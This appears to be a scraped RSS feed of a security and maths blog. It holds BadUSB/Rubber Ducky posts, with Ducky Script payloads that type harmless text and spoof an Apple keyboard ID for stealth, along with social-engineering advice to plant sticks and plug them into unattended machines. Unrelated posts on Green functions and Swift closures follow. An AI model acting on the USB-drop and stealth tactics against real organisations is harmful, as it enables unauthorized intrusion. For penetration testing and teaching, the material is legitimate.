These actions are to be described in the DS ...]]></description><link>https://blog.reveng3.org/writing-and-deploying-ducky-script-payloads</link><guid isPermaLink="true">https://blog.reveng3.org/writing-and-deploying-ducky-script-payloads</guid><category><![CDATA[HID]]></category><category><![CDATA[HotplugAttacks]]></category><category><![CDATA[hacking]]></category><category><![CDATA[BadUSB]]></category><category><![CDATA[IT_Security]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Thu, 07 Nov 2024 14:41:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1715330383670/fd2a8049-a8bc-4157-b92b-86f107cc6a30.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>For the largest part, developing a Ducky Script (<em>from now on, DS</em>) Payloads implies thinking out what stream of bytes depicts the actions that you would perform on the target system to obtain what you want.</p>
<p>These actions are to be described in the DS language, they are then compiled in a payload. The USB Stick will then inject this stream of bytes in the remote host.</p>
<p>Phew, the theory doesn't seem too difficult - and in fact, it isn't. DS is quite straightforward, because it only needs to specify basic actions. From now on, we will introduce more advanced operators directly with the payloads.</p>
<p>I am writing payloads for MacOS, because this website is mostly about MacOS security. Adapting the scripts to Windows, Linux, or Android should be quite straightforward for you.</p>
<h3 id="heading-oldies-goodies-the-hell-o-world-payload">Oldies goodies - the Hell o' world payload.</h3>
<h5 id="heading-what-do-we-want-to-achieve">What do we want to achieve</h5>
<p>We want a new TextEdit windows opening and writing the string "Hell o' world" in it. Easy Peasy.</p>
<h5 id="heading-how-would-i-do-it-as-an-operator">How would I do it as an operator</h5>
<ol>
<li><p>press <code>COMMAND</code> and <code>SPACE</code> at the same time.</p>
</li>
<li><p>Spotlight shall open (see image below) and write in the dialog <code>TextEdit.app</code> followed by a carriage return character</p>
</li>
<li><p>Wait for the system to open the application</p>
</li>
<li><p>Write in the app's main window the string "Hell o' world!"</p>
</li>
<li><p>Inflate a carriage return</p>
</li>
<li><p>Write in the app's main window "Duck you, you ducking duck!" followed by a carriage return</p>
</li>
<li><p>Write in the app "Especially you. Yes, you."</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715334939646/12439e71-ef79-434d-988f-40343443d815.png" alt class="image--center mx-auto" /></p>
<h5 id="heading-how-do-i-write-this-payload">How do I write this payload?</h5>
<p>Remember that in a previous article <strong>INSERT LINK HERE</strong> I introduced the payload studio? Exactly, now it's time to make use of it. So point your browser to <a target="_blank" href="https://payloadstudio.com/pro/">https://payloadstudio.com/pro/</a> (or the community edition, if that was your choice).</p>
<p>Your browser will show the Hello World code we have discussed last time. Delete it all.</p>
<p>Now type the following in the editor:</p>
<pre><code class="lang-plaintext">ATTACKMODE HID STORAGE
DELAY 3000
COMMAND SPACE
STRING TextEdit.app
DELAY 500 
ENTER
STRINGLN Hell o' World
ENTER
DELAY 4000
STRING Duck you, 
STRING you ducking duck!
ENTER
ENTER
STRING Especially you. 
STRINGLN Yes, you
</code></pre>
<p>Now hit the <strong>Generate Payload</strong> button. If everything worked fine, you'll end up with the following</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715587054254/96ace7cf-b232-4c75-b7d2-d3b085416044.png" alt class="image--center mx-auto" /></p>
<p>Hit the download button, now your payload is ready to be tested.</p>
<p>Just in case you're wondering, this is what I obtained:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715587163899/5244ccbc-d5cf-44bf-8b6e-00c66135451c.png" alt class="image--center mx-auto" /></p>
<p>The problem now becomes how do we test the payload, and in detail, how do we put the payload in the USB key.</p>
<h3 id="heading-deploying-the-payload">Deploying the payload</h3>
<p>Fortunately, deploying the payload is quite a simple process. We will come to this in much greater detail, but the essence is that you're about to copy the <code>inject.bin</code> file you generated in the Payload Studio in the root of the Rubber Ducky.</p>
<p>A cautionary note, tho. Rubber Ducky has several modes, mainly the attack mode and the storage mode. One switches between them by clicking the small button integrated in the chipset, it should be easy to identify in the image below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715604034278/02b0f99f-9129-41b7-ab4a-5774f49dec6a.jpeg" alt class="image--center mx-auto" /></p>
<p>Clicking that button toggles between the modes, so you may need to do this by some trials and errors. But it's just two clicks, in the worst case. In my case, it is easy: my AV tries to scan the volume when I mount it in storage mode.</p>
<h3 id="heading-testing-the-payload">Testing the Payload</h3>
<p>We're up for failure, boys, but let's do it with style! I assume you have been able to deploy your <code>inject.bin</code> file in the stick - if not, well... I am not helping you! But if you were, you'd expect your shiny "Hello World" payload to work fine and...</p>
<p>... and if you did everything as expected, you obtained the following windows:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715604293399/c8477666-97ef-419a-a02a-367e578bc3be.png" alt class="image--center mx-auto" /></p>
<p>and</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715604319334/3828892e-bb51-4ddb-aa05-0750f27ebbbe.png" alt class="image--center mx-auto" /></p>
<p>In fact, the system is trying to identify the keyboard (because this is how it sees the Rubber Ducky, after all) to configure it. Whatever the reason, this is everything but what we want to achieve, for it's not stealthy at all.</p>
<p>Fortunately, we can tweak our code and instruct the RD to tell the host system what kind of keyboard it is. This will add - at least - the stealth element to our attack. Hopefully.</p>
<h3 id="heading-payload-revision-1">Payload revision #1</h3>
<p>Reopen the Payload studio and edit the payload so that it becomes</p>
<pre><code class="lang-plaintext">ATTACKMODE HID VID_05AC PID_021E
DELAY 10000
COMMAND SPACE
STRING TextEdit.app
DELAY 10000 
ENTER
STRINGLN Hell o' World
ENTER
DELAY 10000
STRING Duck you, 
STRING you ducking duck!
ENTER
ENTER
STRING Especially you. 
STRINGLN Yes, you
</code></pre>
<p>Again, compile and deploy. The <code>VID</code> parameter we declared stands for Vendor ID, and the <code>PID</code> stands for Product ID. We are basically telling our Mac that we plugged in a shiny Apple Keyboard. We will discuss more the Attack Modes in our next article.</p>
<p>I also changed the <code>DELAY</code>s. <code>DELAY &lt;k&gt;</code> waits for <code>k</code> milliseconds before continuing the flow of execution, so the effect of <code>DELAY 10000</code> is just introducing a delay of 10 seconds. This will help us checking if everything is as we expect, especially in terms of stealth.</p>
<p>Copy the code, paste it into Payload Studio, compile it and download the corresponding <code>inject.bin</code> file. Deploy it into your USB Stick. Get ready for some more frustration.</p>
<h3 id="heading-another-debugging-session">Another debugging session</h3>
<p>I assume you did exactly what I explained before, so that you can follow me. Upon inserting the USB key in, some things take place.</p>
<p>We immediately see that the Keyboard Setup Assistant doesn't show anymore. So the first change we did was successful.</p>
<p>We also see that having a long <code>DELAY</code> after typing <code>TextEdit.app</code> is detrimental for the stealth of the attack. Let's get rid of it, and perhaps decide if we need it somehow after the ENTER.</p>
<p>The TextEdit app starts with a File Open dialog. Fortunately this can be overridden with a quick <code>COMMAND n</code>.</p>
<p>Wrapping all these together:</p>
<pre><code class="lang-plaintext">ATTACKMODE HID VID_05AC PID_021E
DELAY 1000
COMMAND SPACE
STRING TextEdit.app 
ENTER
DELAY 1000
COMMAND n
STRINGLN Hell o' World
ENTER
DELAY 10000
STRING Duck you, 
STRING you ducking duck!
ENTER
ENTER
STRING Especially you. 
STRINGLN Yes, you
</code></pre>
<p>Build, Deploy, Quack.</p>
<p>Now it starts to work. One may or may not want to optimise it. I hadn't the slightest will to do it, so for the very moment, I am sharing a "functional, yet not perfect version" of this monstrosity. Have fun doing the tweaker/spippolator and make it perfect - to me, good enough is good enough.</p>
<pre><code class="lang-plaintext">ATTACKMODE HID VID_05AC PID_021E
DELAY 1000
COMMAND SPACE
STRING TextEdit.app 
ENTER
DELAY 250
COMMAND n
DELAY 1000
STRINGLN Hell World
ENTER
DELAY 1000
STRING Duck you, 
STRING you ducking duck!
ENTER
ENTER
STRING Especially you. 
STRINGLN Yes, you
</code></pre>
<p>Ok, this should have given you some taste of DS, and of how we can play around with these little, tiny sons of the USB. I meant, sons of the devil. See ya next time...</p>
]]></content:encoded></item><item><title><![CDATA[The components of a HID attack]]></title><description><![CDATA[Abstract
In the first article of this series, we introduced hotplug attacks. Here we will dwell more in detail, and make a few considerations on how these attacks should be mounted.
A few considerations on how the attack should be done
Consider that ...]]></description><link>https://blog.reveng3.org/the-components-of-a-hid-attack</link><guid isPermaLink="true">https://blog.reveng3.org/the-components-of-a-hid-attack</guid><category><![CDATA[HID]]></category><category><![CDATA[HotplugAttacks]]></category><category><![CDATA[hacking]]></category><category><![CDATA[blockchain in security]]></category><category><![CDATA[BadUSB]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Mon, 14 Oct 2024 08:35:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1715167155609/8b9e0c84-5e89-4e7e-9eba-7ad68ff49748.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Abstract</strong></p>
<p><em>In the</em> <a target="_blank" href="https://blog.reveng3.org/badusb"><em>first article</em></a> <em>of this series, we introduced hotplug attacks. Here we will dwell more in detail, and make a few considerations on how these attacks should be mounted.</em></p>
<h3 id="heading-a-few-considerations-on-how-the-attack-should-be-done">A few considerations on how the attack should be done</h3>
<p>Consider that a successful and lucky hotplug attack would resolve the intrusion, or at least a large part of it. The attack should be mounted like any other Pentest probe, starting from the information gathering phase, all the way up to the deployment of sticks and the social engineering attack that should eventually lead to plugging the dongle.</p>
<p>Perhaps you have seen that episode of Mr. Robot in which such an attack is mounted - the key is left on purpose in the parking lot of the company that the main character wanted to violate. The rest is all luck.</p>
<p>You don't have the certainty that a viable target would plug the dongle in - and actually, if the company has a decent Security Policy and the users are diligent, this kind of situation won't ever happen.</p>
<p>However, it's all about shooting in a barrel - chances are that sooner or later there will be a (l)user doing what you hope for. Or you can trick the secretary, or anyone else into that.</p>
<p>Human Engineering is more an art than a science, and we have heard dozens of manners to mount such an attack. Just go for the most credible one.</p>
<h3 id="heading-the-components">The components</h3>
<p>Hey, here we talk about real components. I read somewhere that hardware is what you can kick and software is what you can curse. We'll curse and kick things around - but that's what we like.</p>
<p>Shortly put, there are only four components to such kind of attacks:</p>
<ul>
<li><p><strong>the human factor</strong>: we have already spoken about this element, but just a note: be a little psychologist. Try to see what your targets exposure are. If your target happens to be a guy who asks you to download a few nintendo games for his kids, then do that, and store them in your evil USB key. I think it's pretty clear what I mean: play dirty, play rough. Fuck rules.</p>
<ul>
<li><p>The human factor is important, but not so important. If you find an unattended device, just try and plug the stick in. Chances are that someone will log into the device and your payload gets executed.</p>
</li>
<li><p>Shortly put, be creative. I am not a good "Human engineer", but this is quite a cheap skill nowadays.</p>
</li>
</ul>
</li>
<li><p><strong>(Your) hardware</strong>. Millions of different options. Flipper 0, Bash Bunny, Rubber Ducky, your own (we'll buy one, fear not!). Not a lot to say here. In principle, it'd be nice having also a USB C object - at the very moment, the nearest thing is the Flipper 0.</p>
</li>
<li><p><strong>(Their) hardware</strong> not a lot you can do here, apart from a good reconnaissance</p>
</li>
<li><p><strong>The payloads.</strong> We'll be back on this shortly, for they are the most important element of the whole attack. Payloads are the code that is executed (or, more precisely, the keystrokes that will be injected) in the target system.</p>
</li>
</ul>
<p>Now, all the components should be reasonably clear, and so should the concept of HotPlug attack be.</p>
<p>The next step is understanding how to build a payload.</p>
]]></content:encoded></item><item><title><![CDATA[BadUSB]]></title><description><![CDATA[Abstract
Human Interface Devices attacks are as powerful as disregarded. In this article, we'll define the foundations of this family of attacks, the underlying concepts, and why this kind of attack can be a game changer for a successful intrusion te...]]></description><link>https://blog.reveng3.org/badusb</link><guid isPermaLink="true">https://blog.reveng3.org/badusb</guid><category><![CDATA[Security]]></category><category><![CDATA[hacking]]></category><category><![CDATA[BadUSB]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Wed, 09 Oct 2024 11:50:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1715078164690/cd452d47-8981-466a-a1c6-e666a5fb0a76.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Abstract</strong></p>
<p><em>Human Interface Devices attacks are as powerful as disregarded. In this article, we'll define the foundations of this family of attacks, the underlying concepts, and why this kind of attack can be a game changer for a successful intrusion test.</em></p>
<h1 id="heading-what-is-hid">What is HID</h1>
<p>HID stands for Human Interface Devices. It is a full class of devices thought to model the interaction between the User (that's why Human...) and the computer. In this class of devices, one finds keyboards, mice, trackballs, controllers, and the like. A good description of this family of devices and the underlying protocols can be found on the <a target="_blank" href="https://learn.microsoft.com/en-us/windows-hardware/drivers/hid/">Microsoft website</a>, although a very in-depth knowledge of the technology is not crucial for our purposes.</p>
<p>The key aspect to understand here is that the devices belonging to this class are thought to be used by a human. Somebody in the long story of hacking (who? I never knew this - but once again, it's not crucial for our purposes) has thought to create a more evil version of such a device: a "thing" that emulates a keyboard disguised into other devices, like an "innocent" usb stick. These objects can be programmed to inject a predetermined string as if it were written directly in the host's keyboard - the attack scenarios are obvious! The concept behind these tools make them OS independent. As long as the system can be influenced by the behaviour of a keyboard, this attack can be mounted, at least in principle. The most effective defence is, in fact, disabling USB input, or whitelisting only given devices - but the majority of computers that we find around don't implement this measure. This is a very fortunate situation for us, innocent testers paid to violate the corporate networks!</p>
<p>The first and most famous Bad USB stick is <a target="_blank" href="https://shop.hak5.org/products/usb-rubber-ducky">Hak5's Rubber Ducky</a>; but many other solutions can be found on the market. However Hak5 has created a standard, the scripting language that is used to code the payloads.</p>
<p>In this series of articles, we will go deep in the anatomy of a HID attack, we will learn the Duck Script, and we'll devise some real case scenarios.</p>
<h3 id="heading-attack-scenario-1-slashing-bunnies-with-an-axe">Attack scenario 1: slashing bunnies with an axe</h3>
<p><em>You have been engaged to test the security posture of the ACME company. WLOG, we can assume that:</em></p>
<ul>
<li><p><em>The company belongs to any</em> <strong><em>industry</em></strong>.</p>
</li>
<li><p><strong><em>Size of the company</em></strong>: another invariant aspect. To fix the ideas, we'll assume it's a small company (e.g. 10 to 50 heads)</p>
</li>
<li><p><strong><em>Structure</em></strong>: Let us assume that we are not attacking a corporation; for sometimes corps have a more structured security program that could block our attacks, especially if the company works into intellectual property, or finance.</p>
</li>
</ul>
<p><em>Our target will obviously be a naive employee. Our objective is obtaining a foothold in the company. How nice would it be having - say - a machine inside the target network that spawns a reverse shell every time it's turned on? Remember that a reverse shell usually leverages the HTTP protocol, and that quite often internal firewalls are configured not to block HTTP communication generated from within the corporate network.</em></p>
<p><em>Well, by the mean of a successful HID attack, we could obtain such a thing.</em></p>
<p><em>Suppose that just in front of the company's main building, on a sunny morning, a kiosk pretending to give everybody the opportunity to win a brand new iPhone (or Flat TV, or a trip to Bora-Bora, or whatever sounds expensive and juicy). The only thing that the participant needs to do is to answer to a survey, contained into [what looks like] a usual USB stick. Plus, the USB stick also remains to the participant!</em></p>
<p><em>Yay, double victory.</em></p>
<p><em>Chances are that some of the potential participants will try immediately when they reach their office to run their race and - guess what? They have already opened their defences to you! And now, from the machine on the internal network, you have your so-much-coveted reverse shell..</em></p>
<p><em>Another innocent bunny sees the axe!</em></p>
<p>Why is this type of attack successful? Basically, the crucial point is that the computer blindly trusts the human interface device and the operator. This aspect is crucial because it is a structural one, so the effects reverberate strongly.</p>
<h3 id="heading-concerns-and-points-of-attention">Concerns and points of attention</h3>
<p>For the time being, let's assume we have a fair understanding of how the Bad USB attack works: shortly put, one plugs an USB device in, the device "does the magic", and boom! You're in.</p>
<p>Actually there is a lot more to this, and there are some points of attention that must be considered; such as:</p>
<ul>
<li><p>typing speed: would this introduce problems?</p>
</li>
<li><p>visibility: the largest part of commands issued by keyboard has also some visual output. How to manage this?</p>
</li>
<li><p>OS: do we know which OS runs on the target machine? What if it is not what we expected?</p>
</li>
</ul>
<p>In principle, typing speed should not be an issue, meaning that the USB stick is obviously faster than a human being, at writing. This may induce problems, for the output of a given command may take some more time than the expected. There is no human patrolling, and the stick may not know when the previous command is finished. Long story short: caution must be taken when designing payloads; trials and errors will be the usual way of developing.</p>
<p>Hiding the output of commands is another crucial aspect to our attack, because we want to be stealthy. We shall show how to obtain this ninjutsu when introducing the Ducky Script.</p>
<p>OS: this is less problematic than it seems, and we'll address also this topic in a further stage.</p>
]]></content:encoded></item><item><title><![CDATA[Understanding Green Functions: A Step-by-Step Tutorial]]></title><description><![CDATA[Abstract
If you are like me, and use advanced math every day or so, you may find yourself struggling with the Green Function. In my case, it's because Green Function is largely introduced with Physics related concepts, and I don't really like physics...]]></description><link>https://blog.reveng3.org/understanding-green-functions-a-step-by-step-tutorial</link><guid isPermaLink="true">https://blog.reveng3.org/understanding-green-functions-a-step-by-step-tutorial</guid><category><![CDATA[Mathematics]]></category><category><![CDATA[Math]]></category><category><![CDATA[#differential-equations]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Tue, 02 Jul 2024 09:23:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1719833062805/7aa06fe3-e18e-4fa8-b80e-5f2ef5caa4dd.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-abstract"><em>Abstract</em></h3>
<p><em>If you are like me, and use advanced math every day or so, you may find yourself struggling with the Green Function. In my case, it's because Green Function is largely introduced with Physics related concepts, and I don't really like physics. Tough luck. However, the whole thing boils down to the fact that you can find plenty of books explaining the theory, but few attacking the problem in a neat way. So, here we go. I am giving a couple of examples, trying to explain clearly as much as I can what I do. I will avoid giving further theory, here.</em></p>
<h2 id="heading-some-bureaucracy">Some Bureaucracy</h2>
<p>Do you remember when I said I would have not touched any theory. Well, I lied. But not too much. Here I will give some "useful facts" that should help you understanding the reason behind some choices. I tried to keep the part as easy and short as I can.</p>
<h3 id="heading-fact-1-diracs-delta-primitive-the-heaviside-function">Fact 1: Dirac's delta primitive: the Heaviside function</h3>
<p>The following is a well-known result regarding the Dirac Delta function:</p>
<p>$$\int_{u-\epsilon}^{u+\epsilon}\delta(x-u)f(x)\,dx=f(u)$$</p><p>Now take the function being the unit function:</p>
<p>$$f(x)=1\quad\forall x\in\mathbb{R}$$</p><p>and evaluate the integral</p>
<p>$$\int_{-\infty}^{t}\delta(x-u)\,dx=\begin{cases} 0\quad tu \end{cases}=H(x-u)$$</p><p>Observe that the Heaviside function is not continuous in</p>
<p>$$x=u$$</p><h3 id="heading-fact-2-the-derivative-of-a-non-continuous-function">Fact 2: the derivative of a non-continuous function</h3>
<p>Assume you have a function not continuous on a given point of its domain:</p>
<p>$$d(x) \text{ not continuous in }x=u$$</p><p>Then it is easy to show that this function can be expressed like the sum of a continuous function with the product of the Heaviside function multiplied by the "leap":</p>
<p>$$d(x)=c(x)+h\cdot H(x-u)$$</p><p>deriving both sides, this gives:</p>
<p>$$\begin{align} d'(x)&amp;=c'(x)+h\cdot H'(x-u)\\ &amp;=c'(x)+h\cdot \delta(x-u) \end{align}$$</p><h2 id="heading-a-basic-exercise">A basic exercise</h2>
<p>Consider the boundary value problem defined by the ODE:</p>
<p>$$\frac{d^2}{dx^2}y=f(x)$$</p><p>with the boundary conditions:</p>
<p>$$\text{BC1:}\quad\quad y(0)=y'(0)$$</p><p>$$\text{BC2:}\quad\quad y(1)=y'(1)$$</p><p>It is useful to solve the associated homogeneous differential equation with inhomogeneous constraints. The solution of the given BVP will follow by linearity.</p>
<p>By definition, the Green function solving this Boundary Value problem will satisfy the relation</p>
<p>$$\text{D1:}\quad\quad\frac{d^2}{dx^2}G(x,\xi)=\delta(x-\xi)$$</p><p>So the solution of the homogeneous ODE is</p>
<p>$$y(x)=c_0x+c_1,\quad c_0,c_1\in\mathbb{R}$$</p><p>This dictates the structure of the Green function as follows:</p>
<p>$$G(x,\xi)=\begin{cases} Ax+B\quad\text{if } x\in[0,\xi[\\ Cx+D\quad\text{if } x\in]\xi,1] \end{cases}$$</p><p>However the parameters depend on the value of the other variable, so we express this function as</p>
<p>$$G(x,\xi)=\begin{cases} A(\xi)x+B(\xi)\quad\text{if } x\in[0,\xi[\\ C(\xi)x+D(\xi)\quad\text{if } x\in]\xi,1] \end{cases}$$</p><p>Therefore</p>
<p>$$\frac{d}{dx}G(x,\xi)=\begin{cases} A(\xi)\quad\text{if } x\in[0,\xi[\\ C(\xi)\quad\text{if } x\in]\xi,1] \end{cases}$$</p><p>Observe that from D1 we see that G' and G'' are not continuous in x=u. Further:</p>
<p>$$\text{C1:}\quad\quad\lim_{\epsilon\to 0}\left[ \frac{d}{dx}G(x,\xi) \right]_{x=\xi-\epsilon}^{\xi+\epsilon}=1$$</p><p>Finally we want the Green function to be continuous in x=u, so:</p>
<p>$$\text{C2:}\quad\quad\xi A(\xi)+B(\xi)=\xi C(\xi)+D(\xi)$$</p><p>Time to play a bit with the constraints. Take in consideration BC1:</p>
<p>$$\text{BC1_bis:}\quad\quad y(0)=y'(0)\Rightarrow\left[A(\xi)x+B(\xi)\right]_{x=0}=A(\xi)\Rightarrow A(\xi)=B(\xi)$$</p><p>Now analyse BC2:</p>
<p>$$\text{BC2_bis:}\quad\quad y(1)=y'(1)\Rightarrow \left[C(\xi)x+D(\xi)\right]_{x=1}=C(\xi)\Rightarrow D(\xi)=0$$</p><p>From C1 we obtain:</p>
<p>$$\text{C1_bis:}\quad\quad C(\xi)-A(\xi)=1\Rightarrow C(\xi)=A(\xi)+1$$</p><p>So far:</p>
<p>$$\begin{align} G(x,\xi)=\begin{cases} A(\xi)x+B(\xi)\quad\text{if } x\in[0,\xi[\\ C(\xi)x+D(\xi)\quad\text{if } x\in]\xi,1] \end{cases} &amp;\underset{\text{BC2_bis}}{\Rightarrow} G(x,\xi)=\begin{cases} A(\xi)x+B(\xi)\quad\text{if } x\in[0,\xi[\\ C(\xi)x\quad\quad\quad\quad\text{if } x\in]\xi,1] \end{cases} \\ &amp;\underset{\text{C1_bis}}{\Rightarrow} G(x,\xi)=\begin{cases} A(\xi)x+B(\xi)\quad\text{if } x\in[0,\xi[\\ \left( A(\xi)+1 \right) x\quad\quad\text{if } x\in]\xi,1] \end{cases} \\ &amp;\underset{\text{BC1_bis}}{\Rightarrow} G(x,\xi)=\begin{cases} A(\xi)x+A(\xi)\quad\text{if } x\in[0,\xi[\\ \left( A(\xi)+1 \right) x\quad\quad\text{if } x\in]\xi,1] \end{cases} \end{align}$$</p><p>Now apply C2 to obtain:</p>
<p>$$\xi A(\xi)+A(\xi)=\xi A(\xi)+\xi\Rightarrow A(\xi)=\xi$$</p><p>To recap</p>
<p>$$G(x,\xi)=\begin{cases} \xi\cdot x+\xi\quad\text{if } x\in[0,\xi]\\ \left( \xi+1 \right) x\quad\text{if } x\in[\xi,1] \end{cases} = \begin{cases} \left( x+1\right)\xi\quad\text{if } x\in[0,\xi]\\ \left( \xi+1 \right) x\quad\text{if } x\in[\xi,1] \end{cases}$$</p><p>And this closes the first part of this exercise.</p>
<h2 id="heading-an-application">An application</h2>
<p>Suppose now we want to find the solution of the DE</p>
<p>$$\frac{d^2}{dx^2}y=x^2$$</p><p>within the constraints:</p>
<p>$$y(0)=y'(0)+1$$</p><p>and</p>
<p>$$y(1)=y'(1)+2$$</p><p>Establish</p>
<p>$$\varphi(x)=x^2$$</p><p>We want to use the Green function we found to solve</p>
<p>$$\frac{d^2}{dx^2}y=\varphi(x)$$</p><p>and it is a very well-known result that the solution is given by</p>
<p>$$\int_{[0,1]}G(x,\xi)\varphi(\xi)\,d\xi$$</p><p>being P a given interval of the real numbers. The Green function is piecewise, so the integral must be split into two integrals, combined together. Linearity then would grant the fact that the solution works in the general case.</p>
<p>Then we will have</p>
<p>$$\int_{[0,1]}G(x,\xi)\varphi(\xi)\,d\xi=\int_{[0,x]}G(x,\xi)\xi ^2\,d\xi+\int_{[x,1]}G(x,\xi)\xi ^2\,d\xi=:\mathcal{I}_1+\mathcal{I}_2$$</p><p>Now:</p>
<p>$$\xi\in[0,x]\Rightarrow\xi\leq x\Rightarrow G(x,\xi)=\left( \xi+1 \right) x$$</p><p>therefore</p>
<p>$$\mathcal{I}1=\int{[0,x]}\left( \xi+1 \right) x\xi^2\,d\xi=x\int_{[0,x]}\left( \xi^3+\xi^2 \right)\,d\xi$$</p><p>and similarly</p>
<p>$$\xi\in[x,1]\Rightarrow\xi\geq x\Rightarrow G(x,\xi)=\left( x+1 \right) \xi$$</p><p>$$\mathcal{I}2=\int{[x,1]}(x+1)\xi^3\,d\xi=(x+1)\int_{[x,1]}\xi^3\,d\xi$$</p><p>Now:</p>
<p>$$\mathcal{I}1= x\left[\frac{\xi^4}{4}+\frac{\xi^3}{3}\right]{\xi=0}^{\xi=x}=\frac{x^5}{4}+\frac{x^4}{3}$$</p><p>and</p>
<p>$$\mathcal{I}2=(x+1)\left[\frac{\xi^4}{4}\right]{\xi=x}^{\xi=1}=(x+1)\cdot\frac{1}{4}(1-x^4)=\frac{1+x-x^4-x^5}{4}$$</p><p>Therefore</p>
<p>$$\mathcal{I}= \mathcal{I}_1+\mathcal{I}_2=\frac{x^5}{4}+\frac{x^4}{3}+\frac{1}{4}+\frac{x}{4}-\frac{x^4}{4}-\frac{x^5}{4}=\frac{3+3x+x^4}{12}$$</p><p>Now observe that the problem is linear and its the solution can be written as the sum of the solution to the homogeneous equation with inhomogeneous boundary conditions and the inhomogeneous equation with homogeneous boundary conditions.</p>
<p>Clearly, the Green function would solve the latter.</p>
<p>We also need to solve the homogeneous differential equation associated with this system imposing the inhomogeneous constraints, thus obtaining a solution. If we call the solutions respectively</p>
<p>$$y_H\text{ and } y_I$$</p><p>by linearity we obtain</p>
<p>$$y=y_H+y_I$$</p><p>So we find the the second solution, which is the solution to the system</p>
<p>$$\frac{d^2}{dx^2}y=0;\quad y(0)=y'(0)+1; \quad y(1)=y'(1)+2$$</p><p>We have already shown that the solution to the differential equation is</p>
<p>$$y=c_0x+c_1$$</p><p>whose derivative is</p>
<p>$$\frac{d}{dx} y=c_0$$</p><p>Now</p>
<p>$$y(0)=y'(0)+1\Rightarrow c_1=1+c_0$$</p><p>$$y(1)=y'(1)+2\Rightarrow c_0+c_1=c_0+2\Rightarrow c_1=2$$</p><p>Thus</p>
<p>$$2=1+c_0\Rightarrow c_0=1$$</p><p>and hence</p>
<p>$$y_I(x)=x+2$$</p><p>Finally</p>
<p>$$y=y_H+y_I=\frac{3+3x+x^4}{12}+x+2=\frac{x^4}{12} + \frac{5x}{4} + \frac{9}{4}$$</p><p>as requested.</p>
]]></content:encoded></item><item><title><![CDATA[Swift closures]]></title><description><![CDATA[Introduction
Lately, I have spent some time sharpening my Swift skills. Swift is a wonderful language, but it has some aspects that deserve attention.
The first topic I wanted to review is Closures.
Closures are a powerful feature offered by the Swif...]]></description><link>https://blog.reveng3.org/swift-closures</link><guid isPermaLink="true">https://blog.reveng3.org/swift-closures</guid><category><![CDATA[Swift]]></category><category><![CDATA[programming languages]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Thu, 16 Mar 2023 11:17:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1678965329149/c5c78854-4870-4679-b39a-b4e21ca1090d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Lately, I have spent some time sharpening my Swift skills. Swift is a wonderful language, but it has some aspects that deserve attention.</p>
<p>The first topic I wanted to review is Closures.</p>
<p>Closures are a powerful feature offered by the Swift language. You can use them to pass functions to other functions, resulting in a very flexible code.</p>
<p>Never forget what Voltaire said: "<em>With great powers come great responsibilities</em>" (no, it wasn't Uncle Ben, my dear Marvel fanboy...) - irresponsible usage of closures may lead to non-maintainable code.</p>
<h3 id="heading-definition">Definition</h3>
<p>So, what are Closures? According to the Swift Programming Language official documentation (<a target="_blank" href="https://docs.swift.org/swift-book/documentation/the-swift-programming-language/closures">https://docs.swift.org/swift-book/documentation/the-swift-programming-language/closures</a>):</p>
<blockquote>
<p>Closures are self-contained blocks of functionality that can be passed around and used in your code. Closures in Swift are similar to blocks in C and Objective-C and to lambdas in other programming languages.</p>
</blockquote>
<p>In short, this means that closures are functions. Actually, according to the documentation, functions are special cases of closures. The documentation considers functions as closures baptised with a name. The most generic syntax of a closure is:</p>
<pre><code class="lang-swift">{ (param1, param2, ..., paramN) [-&gt; <span class="hljs-type">ReturnType</span>] <span class="hljs-keyword">in</span> 
<span class="hljs-comment">//actual closure code </span>
}
</code></pre>
<p>in the previous definition, the <code>ReturnType</code> is optional. This is coherent with how functions are defined. The parameter list is optional as well, as we will shortly show.</p>
<h3 id="heading-closures-as-variables">Closures as variables</h3>
<p>In Swift, the following declaration is completely legal, and will compile:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">var</span> closure1 = { <span class="hljs-built_in">print</span>(<span class="hljs-string">"I am a closure, and I am a variable"</span>) }
</code></pre>
<p>This variable contains a function that can be invoked:</p>
<pre><code class="lang-swift">closure1()
</code></pre>
<p>This would output:</p>
<pre><code class="lang-plaintext">I am a closure, and I am a variable
</code></pre>
<p>Being a variable, we can modify it:</p>
<pre><code class="lang-swift">closure1 = { <span class="hljs-built_in">print</span>(<span class="hljs-string">"Being a variable, I can be modified"</span>) }
</code></pre>
<p>Now the output would be:</p>
<pre><code class="lang-plaintext">Being a variable, I can be modified
</code></pre>
<h2 id="heading-parameters">Parameters</h2>
<p>Let's add some more spice: input parameters. We want to create a function that accepts a number and prints its square. The code is quite intuitive:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> square = {(number: <span class="hljs-type">Int</span>) <span class="hljs-keyword">in</span> <span class="hljs-built_in">print</span>(number*number) }
square(<span class="hljs-number">2</span>)
</code></pre>
<p>The output is <code>4</code>, as expected. As a point of interest, observe that closures can be also defined as constants.</p>
<h3 id="heading-closures">Closures</h3>
